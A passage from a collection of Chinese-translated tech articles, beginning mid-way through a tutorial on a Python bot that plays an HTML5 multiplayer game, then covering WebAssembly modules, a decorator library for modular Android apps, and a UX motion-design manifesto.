__init__(self, outgoing): self.outgoing = outgoing self.walk_lock = False self.walk_count = 0 self.max_step_count = 600 def main(self, game_state): self.random_walk(game_state) def is_locked(self): # 检查是否加锁 if (self.walk_lock): # 一个锁 return True return False def random_walk(self, game_state): # 检查是否加锁 if not self.is_locked(): # 得到随机的 x、y 坐标 rand_x = random.randint(40, 400) rand_y = random.randint(40, 400) # 开始向随机的 x、y 坐标移动 self.outgoing.move(str(rand_x), str(rand_y)) # 上锁 self.walk_lock = True # 检查移动是否完成 if self.max_step_count < self.walk_count: # 解锁 self.walk_lock = False self.walk_count = 0 # 增加走路计数器 self.walk_count += 1 ``` 上面做的是一件很重要的事情:创建了一个锁机制。由于机器人要进行许多的操作,我不希望看到机器人变得困惑,在随机走动的途中去杀人。当我们的角色开始随机行走时,会等待 600 个“步骤”(即收到的事件),然后才会再次开始随机行走。600 是通过计算得出的,从地图一角走到另一角的最大步数。 接下来为我们的小狗准备肉。检查最近的杀人事件,然后与当前的全局状况数据进行比较。 ```python import collections class GenTwo(object): def __init__(self, outgoing): self.outgoing = outgoing # 跟踪最近发生的杀人事件 self.kill_info = {'uid': None, 'x': None, 'y': None, 'killer': None} def main(self, game_state): # 优先执行 self.go_for_kill(game_state) self.random_walk(game_state) def go_for_kill(self, game_state): # 检查是否有新的杀人事件发生 if self.kill_info != game_state['kill_info']: self.kill_info = game_state['kill_info'] # 杀人事件发生的 x、y 坐标 kill_x = float(game_state['kill_info']['x']) kill_y = float(game_state['kill_info']['y']) # 用周围角色的 id、x 坐标、y 坐标创建一个 OrderedDict player_coords = collections.OrderedDict() for i in game_state['perception']: player_x = float(i['x']) player_y = float(i['y']) player_uid = i['uid'] player_coords[player_uid] = (player_x, player_y) ``` 现在在 `go_for_kill` 中,有一个 `kill_x` 、 `kill_y` 坐标,表明了最近一次杀人时间的发生地点。另外还有一个由玩家 ID、玩家 x、y 坐标组成的有序字典。当游戏中有人被杀时,有序字典将会如下所示:`OrderedDict([('+56523', (315.8, 197.5)), ('+93735', (497.4, 130.7)), ...])`。下面找出离杀人地点最近的玩家就行了。如果有玩家离杀人坐标足够近,机器人将把他们找出来! 所以现在任务很清晰了,我们需要在一组坐标中找到最接近的坐标。这个方法被称为[最邻近查找](https://en.wikipedia.org/wiki/Nearest_neighbor_search),我们可以用 [k-d trees](https://en.wikipedia.org/wiki/K-d_tree) 实现。我使用了 [SciPy](https://www.scipy.org/) 这个超帅的 Python 库,用它的 [scipy.spatial.KDTree.query](https://docs.scipy.org/doc/scipy/reference/generated/scipy.spatial.KDTree.query.html#scipy.spatial.KDTree.query) 方法实现了这个功能。 ```python from scipy import spatial # ... def go_for_kill(self, game_state): if self.kill_info != game_state['kill_info']: self.kill_info = game_state['kill_info'] self.kill_lock = True kill_x = float(game_state['kill_info']['x']) kill_y = float(game_state['kill_info']['y']) player_coords = collections.OrderedDict() for i in game_state['perception']: player_x = float(i['x']) player_y = float(i['y']) player_uid = i['uid'] player_coords[player_uid] = (player_x, player_y) # 找到距击杀坐标最近的玩家 tree = spatial.KDTree(list(player_coords.values())) distance, index = tree.query([(kill_x, kill_y)]) # 当距离某玩家足够近时进行击杀 if distance < 10: kill_uid = list(player_coords.keys())[int(index)] self.outgoing.kill(kill_uid) ``` 如果你想看完整的策略,[这儿是 stabbybot 中 brain.py 的完整代码](https://github.com/vesche/stabbybot/blob/master/stabbybot/brain.py). 现在让我们运行机器人,看看它表现如何: ```bash $ python stabbybot/main.py -s -u stabbybot [+] MOVE: (228, 56) [+] STAT: [('sam5', '2146'), ('jjkiller', '397'), ('QWERTY', '393'), ('N-chan', '240'), ('stabbybot', '0')] [+] KILL: jjkiller (62.798412, 16.391998) [+] STAT: [('sam5', '2146'), ('jjkiller', '407'), ('QWERTY', '393'), ('N-chan', '240'), ('stabbybot', '0')] [+] KILL: N-chan (322.9627, 235.68994) [+] STAT: [('sam5', '2146'), ('jjkiller', '407'), ('QWERTY', '393'), ('N-chan', '250'), ('stabbybot', '0')] [+] KILL: jjkiller (79.39742, 11.73037) [+] STAT: [('sam5', '2146'), ('jjkiller', '417'), ('QWERTY', '393'), ('N-chan', '250'), ('stabbybot', '0')] [+] KILL: QWERTY (241.24649, 253.66882) [+] STAT: [('sam5', '2146'), ('QWERTY', '505'), ('jjkiller', '417'), ('stabbybot', '0')] [+] KILL: sam5 (91.02979, 41.00656) [+] STAT: [('sam5', '2156'), ('QWERTY', '505'), ('jjkiller', '417'), ('stabbybot', '0')] [+] MOVE: (287, 236) [+] KILL: jjkiller (100.214806, 36.986927) [+] STAT: [('jjkiller', '1006'), ('QWERTY', '505'), ('stabbybot', '0')] ... snip (10 minutes later) [+] ASSA: _95181 [+] STAT: [('Mr.Stabb', '778'), ('QWERTY', '687'), ('stabbybot', '565'), ('fire', '408'), ('ff', '0'), ('Guest72571', '0'), ('shako', '0')] [+] KILL: stabbybot (159.09984, 218.41016) [+] ASSA: 0 [+] STAT: [('Mr.Stabb', '778'), ('stabbybot', '717'), ('QWERTY', '687'), ('ff', '0'), ('Guest72571', '0'), ('shako', '0')] [+] STAT: [('Mr.Stabb', '778'), ('stabbybot', '717'), ('QWERTY', '687'), ('fire', '306'), ('ff', '0'), ('Guest72571', '0'), ('shako', '0')] [+] STAT: [('Mr.Stabb', '778'), ('stabbybot', '717'), ('QWERTY', '687'), ('fire', '306'), ('z', '37'), ('ff', '0'), ('Guest72571', '0'), ('shako', '0')] [+] MOVE: (245, 287) [+] KILL: fire (194.04352, 68.50006) [+] STAT: [('Mr.Stabb', '778'), ('stabbybot', '717'), ('QWERTY', '687'), ('fire', '316'), ('z', '37'), ('ff', '0'), ('Guest72571', '0'), ('shako', '0')] [+] TOD: night [+] KILL: Guest72571 (212.10252, 150.89288) [+] STAT: [('Mr.Stabb', '778'), ('stabbybot', '717'), ('QWERTY', '687'), ('fire', '316'), ('z', '37'), ('Guest72571', '10'), ('ff', '0'), ('shako', '0')] [-] You have been killed. close status: 12596 ``` 结果还不错。机器人大约存活了 10 分钟,已经很了不起了。它得了 717 分,在被杀掉的时候排行第二! 以上就是本文的全部内容!如果你想找个有趣的编程项目,可以去做做 HTML5 游戏的机器人,你将获得无穷的乐趣,并能很好地练习网络分析、逆向工程、编程、算法、AI 等各种能力。希望能看到你的创作! --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/creating-and-working-with-webassembly-modules.md ================================================ > * 原文地址:[Creating and working with WebAssembly modules](https://hacks.mozilla.org/2017/02/creating-and-working-with-webassembly-modules/) > * 原文作者:本文已获作者 [Lin Clark](https://code-cartoons.com/@linclark) 授权 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者: [xilihuasi](https://github.com/xilihuasi) > * 校对者:[Tina92](https://github.com/Tina92)、[zhouzihanntu](https://github.com/zhouzihanntu) # 创建和使用 WebAssembly 组件 **这是 WebAssembly 系列文章的第四部分。如果你还没阅读过前面的文章,我们建议你[从头开始](https://github.com/xitu/gold-miner/blob/master/TODO/a-cartoon-intro-to-webassembly.md)。** WebAssembly 是一种不同于 JavaScript 的在 web 页面上运行程序语言的方式。以前当你想在浏览器上运行代码来实现 web 页面不同部分的交互时,你唯一的选择就是 JavaScript。 因此当人们谈论 WebAssembly 运行迅速时,合理的比较对象就是 JavaScript。但这并不意味着你必须在 WebAssembly 和 JavaScript 二者中选择一个使用。 事实上我们希望开发者在同一应用中同时使用 WebAssembly 和 JavaScript。即使你不亲自写 WebAssembly 代码,你也可以使用它。 WebAssembly 组件定义的函数可以在 JavaScript 中使用。因此,就像现在你可以从 npm 上下载一个 lodash 这样的组件并且根据它的 API 调用方法一样,在未来你同样可以下载 WebAssembly 组件。 那么让我们看看如何创建 WebAssembly 组件,以及如何在 JavaScript 中使用这些组件吧。 ## WebAssembly 处于哪个环节? 在上一篇关于[汇编](https://github.com/xitu/gold-miner/blob/master/TODO/a-crash-course-in-assembly.md)的文章里,我谈到过编译器怎么提取高级程序语言并且把它们翻译成机器码。 ![Diagram showing an intermediate representation between high level languages and assembly languages, with arrows going from high level programming languages to intermediate representation, and then from intermediate representation to assembly language](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/04-01-langs09-500x306.png) WebAssembly 对应这张图片的哪个部分? 你可能认为它只不过是又一个目标汇编语言。某种程度上是对的,不同之处在于那些语言(x86,ARM)中每个都对应一个特定的机器架构。 当你通过 web 向用户的机器上发送要执行的代码时,你并不知道你的代码将要在哪种目标架构上运行。 所以 WebAssembly 和其他的汇编有些细微的差别。它是概念机的机器语言,而非真实的物理机。 正因如此,WebAssembly 指令有时也被称为虚拟指令。它们比 JavaScript 源码有更直接的机器码映射。它们代表一类可以在常见的流行硬件上高效执行的指令集合。但是它们并不直接映射某一具体硬件的特定机器码。 ![Same diagram as above with WebAssembly inserted between the intermediate representation and assembly](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/04-02-langs08-500x326.png) 浏览器下载 WebAssembly 后,它就能从 WebAssembly 转成目标机器的汇编码。 ## 编译成 .wasm LLVM 是当前对 WebAssembly 支持最好的编译工具链。很多前后端编译工具都可以嵌入 LLVM 中。 > 注:大部分 WebAssembly 组件开发者用 C 和 Rust 这样的语言编写代码,然后编译成 WebAssembly,但仍有其他的方法来创建 WebAssembly 组件。比如,有一个实验性的工具帮你[使用 TypeScript 构建 WebAssembly 组件](https://github.com/rsms/wasm-util),或者你可以[直接在 WebAssembly 的文本表示上编码](https://developer.mozilla.org/en-US/docs/WebAssembly/Understanding_the_text_format)。 比如说我们想把 C 编译成 WebAssembly。我们可以使用 clang 编译器前端把 C 编译成 LLVM 中介码。一旦它处于 LLVM 的中间层,LLVM 编译它,LLVM 就可以展现一些性能优化。 要把 LLVM IR([中介码](https://en.wikipedia.org/wiki/Intermediate_representation))编译成 WebAssembly,我们需要一个后端支持。在 LLVM 项目中有一个这类后端正在开发中。这个后端项目已经接近完成并且应该很快就会定稿。然而,现在使用它还会有不少问题。 目前有一个稍微容易使用的工具叫 Emscripten。他有自己的后端,可以通过编译成其他对象(称为 asm.js)然后再转换成 WebAssembly 的方式来产生 WebAssembly。好像它底层仍旧使用 LLVM,因此你可以在 Emscripten 中切换这两种后端。 ![Diagram of the compiler toolchain](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/04-03-toolchain07-500x411.png) Emscripten 包含了许多附加工具和库来支持移植整个 C/C++ 代码库,因此它更像一个 SDK 而非编译器。举个例子,系统开发人员习惯于有一个文件系统用来读写,所以 Emscripten 可以使用 IndexedDB 模拟一个文件系统。 忽略你已经使用的工具链,最后得到的结果就是一个后缀名为 .wasm 的文件。下面我将着重解释 .wasm 文件的结构。首先,我们先看看怎样在JS中使用 .wasm 文件。 ## 在 JavaScript 中载入一个 .wasm 组件 这个 .wasm 文件是一个 WebAssembly 组件,它可以在 JavaScript 中载入。在此情景下,载入过程稍微有些复杂。 functionfetchAndInstantiate(url, importObject) { return fetch(url).then(response => response.arrayBuffer() ).then(bytes => WebAssembly.instantiate(bytes, importObject) ).then(results => results.instance ); } 你可以在[我们的文档](https://developer.mozilla.org/en-US/docs/WebAssembly)中深入了解这部分内容。 我们致力于让这个过程变得更容易。我们期望改进工具链,整合已存在的像 webpack 这样的模块打包工具以及类似 SystemJS 的动态加载器。我们相信载入 WebAssembly 组件可以像载入 JavaScript 组件一样简单。 不过,WebAssembly 组件和 JS 组件有一个显著的区别。目前,WebAssembly 函数只能使用数字(整型或浮点型数字)作为参数和返回值。 ![Diagram showing a JS function calling a C function and passing in an integer, which returns an integer in response](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/04-04-memory04-500x93.png) 对于更加复杂的数据类型,如字符串,你必须使用 WebAssembly 组件存储器。 像 C,C++,和 Rust 这些更高性能的语言倾向于手动管理内存。如果你大部分时间都在使用 JavaScript,也许对直接访问存储器的操作不熟悉。WebAssembly 组件存储器模拟了你在这些语言中会看到的堆。 为了实现这个功能,它使用了 JavaScript 中的类型化数组(ArrayBuffer)。类型化数组是存放字节的数组。数组的索引就是对应的存储器地址。 如果想要在 JavaScript 和 WebAssembly 中传递字符串,你需要把这些字符转换成他们的字符码常量。然后把这些写入存储器阵列。既然索引是整数,那么单个索引值就可以传入 WebAssembly 函数中。这样字符串中第一个字符的索引就可以被当成一个指针使用。 ![Diagram showing a JS function calling a C function with an integer that represents a pointer into memory, and then the C function writing into memory](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/04-05-memory12-500x400.png) 几乎所有想要开发供 web 开发者使用的 WebAssembly 组件的开发者,都会为组件创建一个包装器。这样以来,你作为组件的消费者并不需要了解内存管理。 如果想了解更多的话,查看我们关于[使用 WebAssembly 内存](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_objects/WebAssembly/Memory)的文档。 ## .wasm 文件结构 如果你使用高级语言来编写代码然后把它编译成 WebAssembly,你不必知道 WebAssembly 组件的结构。但是它可以帮助你理解其基本原理。 如果你之前没有了解这些基本原理,我们建议你先阅读 [汇编文章](https://github.com/xitu/gold-miner/blob/master/TODO/a-crash-course-in-assembly.md) (part 3 of the series)。 下面是一个 C 函数,我们将把它转成 WebAssembly: int add42(int num) { return num + 42; } 你可以使用 [WASM Explorer](http://mbebenita.github.io/WasmExplorer/) 来编译这个函数。 如果你打开 .wasm 文件(假设你的编辑器支持显示),你将看到类似这样的内容: 00 61 73 6D 0D 00 00 00 01 86 80 80 80 00 01 60 01 7F 01 7F 03 82 80 80 80 00 01 00 04 84 80 80 80 00 01 70 00 00 05 83 80 80 80 00 01 00 01 06 81 80 80 80 00 00 07 96 80 80 80 00 02 06 6D 65 6D 6F 72 79 02 00 09 5F 5A 35 61 64 64 34 32 69 00 00 0A 8D 80 80 80 00 01 87 80 80 80 00 00 20 00 41 2A 6A 0B 这是组件的“二进制”表示法。我把二进制加上引号是因为它通常显示的是十六进制符号,但这很容易转换成二进制符号,或者人类可读的格式。 举个例子,下图是 `num + 42` 的几种表现形式。 ![Table showing hexadecimal representation of 3 instructions (20 00 41 2A 6A), their binary representation, and then the text representation (get_local 0, i32.const 42, i32.add)](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/04-06-hex_binary_asm01-500x254.png) ### 代码如何运行:堆栈机 如果你想知道的话,下图是执行的一些指令说明。 ![Diagram showing that get_local 0 gets value of first param and pushes it on the stack, i32.const 42 pushes a constant value on the stack, and i32.add adds the top two values from the stack and pushes the result](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/04-07-hex_binary_asm02-500x175.png) 你可能注意到了 `add` 操作并没有说明他的值应该从哪里来。这是因为 WebAssembly 是堆栈机的一个范例。这意味着一个操作所需的所有值在操作执行之前都在栈中排队。 例如 `add` 这类的操作指导它们需要多少值。如果 `add` 需要两个值,它将从栈顶取出两个值。这意味着 `add` 指令可以很短(单个字节),因为指令不需要指定源或者目的寄存器。这减少了 .wasm 文件的大小,也意味着下载的耗时更短。 即使 WebAssembly 就堆栈机而言是特定的,但那不是其在物理机上的工作方式。当浏览器把 WebAssembly 转化成其运行机器上对应的机器码时,将会用到寄存器。因为 WebAssembly 代码不指定寄存器,所以浏览器在当前机器上能更灵活的去使用最佳寄存器分配。 ### 组件的 sections 除了 `add42` 函数自身,.wasm 文件还有其他部分。那就是 sections。一些 sections 对任何组件都是必需的,而有一些是可选的。 必选项: 1. **类型(Type)**。包括在该组件中定义的函数签名以及任何引入的函数。 2. **函数(Function)**。给每一个在该组件中定义的函数一个索引。 3. **代码(Code)**。该组件中定义的每一个函数的实际函数体。 可选项: 1. **导出(Export)**。使函数,内存,表以及全局变量对其他 WebAssembly 组件和 JavaScript 可用。这使独立编译的组件可以被动态链接在一起。这就是 WebAssembly 的 .dll 版本。 2. **导入(Import)**。从其他 WebAssembly 组件或 JavaScript 中导入指定的函数,内存,表以及全局变量。 3. **启动(Start)**。当 WebAssembly 组件载入时自动运行的函数(基本上类似一个主函数)。 4. **全局变量(Global)**。为组件声明全局变量。 5. **内存(Memory)**。定义组件将使用到的内存空间。 6. **表(Table)**。使把值映射到 WebAssembly 组件外部成为可能,比如 JavaScript 对象。这对于允许间接函数调用相当有用。 7. **数据(Data)**。初始化导入或本地内存。 8. **元素(Element)**。初始化导入或本地的表。 更多关于 sections 的阐释,这有一篇深度好文[解释这些 sections 如何运行](https://rsms.me/wasm-intro)。 ## 接下来 现在你知道怎样使用 WebAssembly 组件了,让我们看看[为什么 WebAssembly 这么快](https://github.com/xitu/gold-miner/blob/master/TODO/what-makes-webassembly-fast.md)。 ================================================ FILE: TODO/creating-highly-modular-android-apps.md ================================================ > * 原文链接: [Creating Highly Modular Android Apps](https://medium.com/stories-from-eyeem/creating-highly-modular-android-apps-933271fbdb7d#.oez87prl8) * 原文作者 : [Ronaldo Pace](https://medium.com/@ronaldo.pace?source=post_header_lockup) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 :[DeadLion](https://github.com/DeadLion) * 校对者 :[Graning](https://github.com/Graning), [Kulbear](https://github.com/Kulbear) # 如何创建高度模块化的 Android 应用 >“单一职责原则规定,每个模块或类应该对软件提供的某单一功能负责。”([en.wikipedia.org/wiki/Single_responsibility_principle](https://en.wikipedia.org/wiki/Single_responsibility_principle)) Android 中构建 UI 的职责通常委派给一个类(比如 Activity、Fragment 或 View/Presenter)。这通常涉及到以下任务: - 填充 View(xml 布局) - View 配置(运行时参数、布局管理、适配) - 数据源连接(DB 或者 数据存储的监听/订阅) - 加载缓存数据 - 新数据的按需请求分派 - 监听用户事件(tap、scroll)然后响应事件 除此之外,Activity 和 Fragment 通常还会委派一些额外的职责: - App 导航 - Activity 结果处理 - Google Play 服务连接和交互 - 过渡动画配置 这不是单一职责,当前的处理方式包括了继承或组合,这太复杂了。 ![](https://cdn-images-1.medium.com/max/800/1*PYTSQy1jyMgZdKzKAK-ImA.gif) ### 继承地狱 >“当一个对象或类是基于另一个对象或类,这就是继承。它是为了代码重用,并允许原始软件通过公共类和接口单独扩展。这些对象或类的关系,通过继承形成一种层级。” ([en.wikipedia.org/wiki/Inheritance_(object-oriented_programming)](https://en.wikipedia.org/wiki/Inheritance_%28object-oriented_programming%29)) 对于这种复杂的结构,如 UI 构建,继承能让它很快变成一坨 x。看看下面的模拟案例: ![](https://cdn-images-1.medium.com/max/800/1*TItgXrS7WEDGeu5pZNjNzw.png) 据此继承树构建代码会很快变得难于管理 ("继承地狱")。要避免这种情况,开发人员应遵循"组合而非继承"的原则。 ### 组合优于继承 >“在面向对象编程中有个原则,组合替代继承(组合复用原则)。类应该通过组合实现行为多态和代码复用(通过包含其他类的实例来实现所需的功能)。”([en.wikipedia.org/wiki/Composition_over_inheritance](http://en.wikipedia.org/wiki/Composition_over_inheritance)) 组合优于继承原则是个很棒的想法,无疑可以帮助我们解决上面提出的问题。然而,几乎没有库、示例代码或者教程来教你如何在 Android 上实现这原则。一种实现它的简单方法就是使用运行时参数(又叫 intent extras)来组合功能,但是,仍会导致形成一个巨大的难以管理的怪物类。 很荣幸,这里要提及两个库, [LightCycle](https://www.github.com/soundcloud/lightcycle) 和 [CompositeAndroid](https://www.github.com/passsy/CompositeAndroid)。两者都紧紧的绑定在 Activity 或 Fragment,抛开其他诸如 MVP 或 MVVM 的现代模式,都不是很灵活,因为它们仅仅依赖 Android 原生回调(无法添加额外回调),也不支持模块间通信。 ### 修饰模式 开发者们每天都要面对这些提出的问题, EyeEm Android 团队开始开发一种模式,以一种更加灵活的方式来解决该问题,而不是直接附加到一个组件上如 Activity 或 Fragment 。该模式可以用来对任何开发者希望通过组合来模块化的类进行解耦。 该模式和 LightCycle/Composite 的方法非常相似,由三个类组成: - 基本类,称为 DecoratedObject(装饰对象),调度其继承和额外的方法给一个调度对象。 - DecoratorsObject 实例化,保存所有组成对象的列表并分派方法给它们。 - Decorator 抽象类,所有方法和额外接口都只声明未实现。由创建此类的开发人添加单一职责的具体实现。 使用这种方式开发人员获得的直接好处 - 职责分离 - 功能动态运行置换 - 并行开发 为了让开发者能毫无障碍的实现上述模式,一个在编译时生成代码的工具被创造了出来,接下来我们会看到,将之前提交的那些职责分解成单一职责类是多么简单。 ### Decorator 库 #### 如何三步创建你自己的模块化单一职责应用 要实现装饰模式首先创建应生成的代码蓝图,在这里我们将使用一个带 RecyclerView 的 Activity 作为例子,但同样能用在 Fragment、Presenter 甚至 View 。这这个例子中,我们将使用 activity 生命周期中的 onCreate/onStart/onStop/onDestroy ,但是也会额外创建几个适合 RecyclerView 案例的回调。 ``` @Decorate public class ActivityBlueprint extends AppCompatActivity { @Override protected void onCreate(@Nullable Bundle savedInstanceState) {super.onCreate(savedInstanceState);} @Override protected void onStart() {super.onStart();} @Override protected void onStop() {super.onStop();} @Override protected void onDestroy() {super.onDestroy();} public int getLayoutId() {return R.layout.recycler_view;} public RecyclerView.LayoutManager getLayoutManager() {return new LinearLayoutManager(this);} public RecyclerView.Adapter getAdapter() {return null;} public void setupRecyclerView(RecyclerView recyclerView, WrapAdapter wrapAdapter, RecyclerView.Adapter adapter) { /**/ } public interface DataInstigator { RealmList getList(); RealmObject getData(); } public interface RequestInstigator { void reload(); void loadMore(); } } ``` 这个简单的蓝图使用 `@Decorate` 注解,将会生成完整的修饰模式实现,`Serializable` builder 类可以作为参数传递。为了完成 Activity 的实现,我们扩展了生成类,并将 received builder 绑定上去。 ``` public classRecyclerViewActivityextendsDecoratedAppCompatActivity{ @Overrideprotected void onCreate(Bundle savedInstanceState) { bind(getBuilder(getIntent().getSerializableExtra(KEY.BUILDER))); super.onCreate(savedInstanceState); setContentView(getLayoutId()); RecyclerView rv = (RecyclerView) findViewById(R.id.recycler); rv.setLayoutManager(getLayoutManager()); RecyclerView.Adapter adapter = getAdapter(); WrapAdapter wrapAdapter = newWrapAdapter(adapter); rv.setAdapter(wrapAdapter); setupRecyclerView(rv, wrapAdapter, adapter); } @Overrideprotected void onDestroy() { super.onDestroy(); unbind(); } } ``` 现在可以方便的将职责分发到可绑定的修饰类上。每个修饰器包含所有生命周期的回调,可以实现任何可选接口。最后,可以组合得到一个简单的建造者模式: ``` Intent i = new Intent(context, RecyclerViewActivity.class); i.putExtra(KEY.BUILDER, new DecoratedActivity.Builder() .addDecorator(GridInstigator.class) .addDecorator(LoadMoreDecorator.class) .addDecorator(PhotoGridAdapter.class) .addDecorator(PhotoListInstigator.class) .addDecorator(PhotoRequestInstigator.class)); i.putExtra(KEY.URL, url); ``` ### 完整示例应用 请查看我们 Github 上的相关库和完整的示例应用 [https://github.com/eyeem/decorator](https://github.com/eyeem/decorator) 。该示例应用在开始下一步之前从当前 activity 通过简单的添加/移除修饰器来模拟每个用户在 Activity 执行 tap。 上面展示的代码大部分都是出自示例。你会发现一个用 Realm 和 Retrofit 真正实现的修饰器列表,就是这篇文章开始提到的 UI 构建任务。 - CoordinatorLayoutInstigator,重写了 CoordinatorLayout 的默认布局,可选实例化一个 header - ToolbarInstigator,接管 toolbar,并且应用一个标题 - ToolbarUp 和 ToolbarBack 修饰器,导航工具栏上图标的行为 - 加载更多的修饰器,添加一个无限滚动的功能到 RecyclerView - PhotoList 和 PhotoRequest 修饰器,本地数据存储和 API 请求图片列表 API 调用 ### 现实世界应用 [EyeEm](https://www.eyeem.com) 已经在使用修饰器——并且体验非常好。来 [Play Store](https://play.google.com/store/apps/details?id=com.baseapp.eyeem) 看看吧。我们目前为所有 UI 元素使用 装饰 view presenters(使用 Square Mortar 库),为过渡动画使用了装饰 activities,处理不同 API 级别,A/B 测试,导航,跟踪和新摄影师入职时的少数特殊情况, ### 最后说明 上面所示的代码和实现纯粹只是示例,仅作为指导。 当我们为 Android 创建这个库时,该模式是开放给任何用例的。这个库是一个纯 Java 实现,它在编译时生成代码,可用于任何 Java 类,我们鼓励开发人员在他们任何 Java 项目中编写模块化的单一职责的代码!来 说的够多了-将[它](https://www.github.com/eyeem/decorator)添加到你的 build.gradle 中,然后开始构建模块化应用吧。 *在 [EyeEm](https://www.eyeem.com),我们正在探索摄影和技术的交叉点。除了建立尖端的计算机视觉技术,我们的 iOS,Android 和 web 应用程序被 1800 万世界各地的摄影师用于获得灵感、 学习、 分享他们的工作,发现惊人的天赋,获得出版和展出,甚至通过我们的市场赚钱。* 我们一直在寻找激情,奋发努力的工程师加入我们的使命——编码摄影的未来! [联系我们!](https://www.eyeem.com/jobs) ================================================ FILE: TODO/creating-usability-with-motion-the-ux-in-motion-manifesto.md ================================================ > * 原文地址:[Creating Usability with Motion: The UX in Motion Manifesto](https://medium.com/@ux_in_motion/creating-usability-with-motion-the-ux-in-motion-manifesto-a87a4584ddc) > * 原文作者:[Issara Willenskomer](https://medium.com/@ux_in_motion?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[Ruixi](https://github.com/ruixi) > * 校对者:[cdpath](https://github.com/cdpath),[osirism](https://github.com/osirism) # 用动效创建的可用性:动效中的用户体验宣言 # 下面这段宣言即是我对这个问题的回答——“作为一个UX或者UI设计师,在界面中,如何在合适的时间和位置通过动效的使用来支持可用性呢?”  在过去的5年中,我有幸指导过来自40多个国家的 UX 和 UI 设计师,而且我为这些顶级品牌和设计咨询公司带来的建议和指导基本上都是关于 UI 动效的。 通过对用户界面动效超过15年的研究,我得到的结论是:这里有12种可以利用动效来支持你的 UX 项目中的可用性的具体时机。 我称这些时机为“动效中 UX 设计的12条准则”,同时它们可以以各种创新形式来进行自由组合协作使用。 我将这份宣言拆分成5个部分: 1. 解答 UI 动效的主题——不是你想象的那样 2. 实时与非实时交互 3. 动效支持可用性的四种方式 4. 原理、技术、性能与价值 5. 动效中 UX 设计的12条准则 插播一条小广告,如果你想要我就令人激动的动效主题以及可用性在你的会议上发言或者为你的团队组织一个现场讨论的话,请移步[这里](https://uxinmotion.net/workshops-and-speaking/) 。 如果你想要在你所在城市参加课程,来[这里](https://uxinmotion.net/workshops-and-speaking/#classes) 。最后,如果你想要向我咨询你的项目,可以看看[这里](https://uxinmotion.net/consulting/) 。添加到我的列表,点击[这里](http://uxinmotion.net/joinnow) 。 ### 它无关 UI 动画 ### 由于设计师往往认为用户界面中的动效就是 UI 动画——然而这是两回事——我觉得我有必要在12条法则之前插入一段情境。 设计师们通常会觉得 UI 动效的使用可以让用户体验显得更加生动愉悦,但总体上并没有增加什么价值。所以呢,UI 动效总是姥姥不疼舅舅不爱的。就算有,也是排在最末位的,不足挂齿。 此外,在用户界面语境下的动效被认为是迪士尼的12条动画原则下的,我在‘[UI 动画原则——迪士尼已死](https://medium.com/@ux_in_motion/ui-animation-principles-disney-is-dead-8bf6c66207f9) ’一文中对这一观点进行了反驳。 UI 动效对于“动效中 UX 设计的12条法则”来说就像是建筑物中的架构。我希望在我的宣言中用这个作为实例。 我的意思是,当一个结构需要实际地建立时(需要构造),决定导向建造**什么**的那只手来源于原则范畴。 动效的一切都和工具相关。原则对工具使用方法的实际应用进行指导,为设计师们提供优势机会。 大多数设计师认为的“UI 动效”实际上也是一种高级设计手法:时效和非时效性事件中界面元素的时序表现。 ### 实时交互 vs 非实时交互 ### 在这个非常时刻,区分“情景”和“行为”就很重要了。UX 中的**情景**基本上是静态的,就像一个设计合成品。UX 中的**行为**从根本上来讲则是时序化的,基于运动。一个对象可以处于被屏蔽的**情景**中,或者被屏蔽的**行为**中。如果是后者,我们知道它涉及到运动,而且是能够支持可用性的。 此外,交互中的所有时序化行为都可以被认为发生在实时或者非实时。实时意味着用户可以直接于用户界面中的元素进行交互。非实时意味着对象行为是后交互的:它发生在用户动作**之后**,以及过渡之中。 这是一个重要的区别。 实时交互也可以理解为“直接交互”,用户可以直接迅速地与界面对象进行交互。界面行为在**用户使用的同时发生**。 非实时交互只发生在用户输入**之后**,而且有暂时锁定用户体验的效果,直到过渡阶段完成。 了解这些差异会帮助我们理解 UX 动效的 12 法则 ### 动效支持可用性的4种方式 ### 这四个核心代表着时序性用户体验支持可用性的四种方法。 #### 期望 #### 期望分为两大领域——用户如何感知对象**是什么**,以及它表现出了**何种行为**。换句话说,作为设计师,我们期望尽可能缩小用户期望和用户体验之间的差距。 #### 一致性 #### 一致性代表着用户流以及用户体验的“一致”。一致性也可以理解为“内部一致性”——场景内和场景间的一致。一系列场景的一致性构成了用户体验。 #### 叙述 #### 叙述是用户体验中时间框架内事件的线性进展。它可以被认为是一系列被认真考虑以连接整个用户体验的时刻和事件。 #### 关联 #### 关系是指空间,时间,和层次表示之间引导用户理解和决策的界面对象。 ### 准则、技术、特性和值 ### [Tyler Waye](http://tylerwaye.com/learning-to-learn-principles-vs-techniques/) 这话就和他之前写过的一样好:“准则……是提升技术的基本功能前提和潜在规则。无论发生了什么,这些元素都保持一致。” 重申,原则是不可知的设计。 这样,我们可以想象一个层次结构:准则位于顶层,技术在下一层,接着是性能,最下层的则是值。 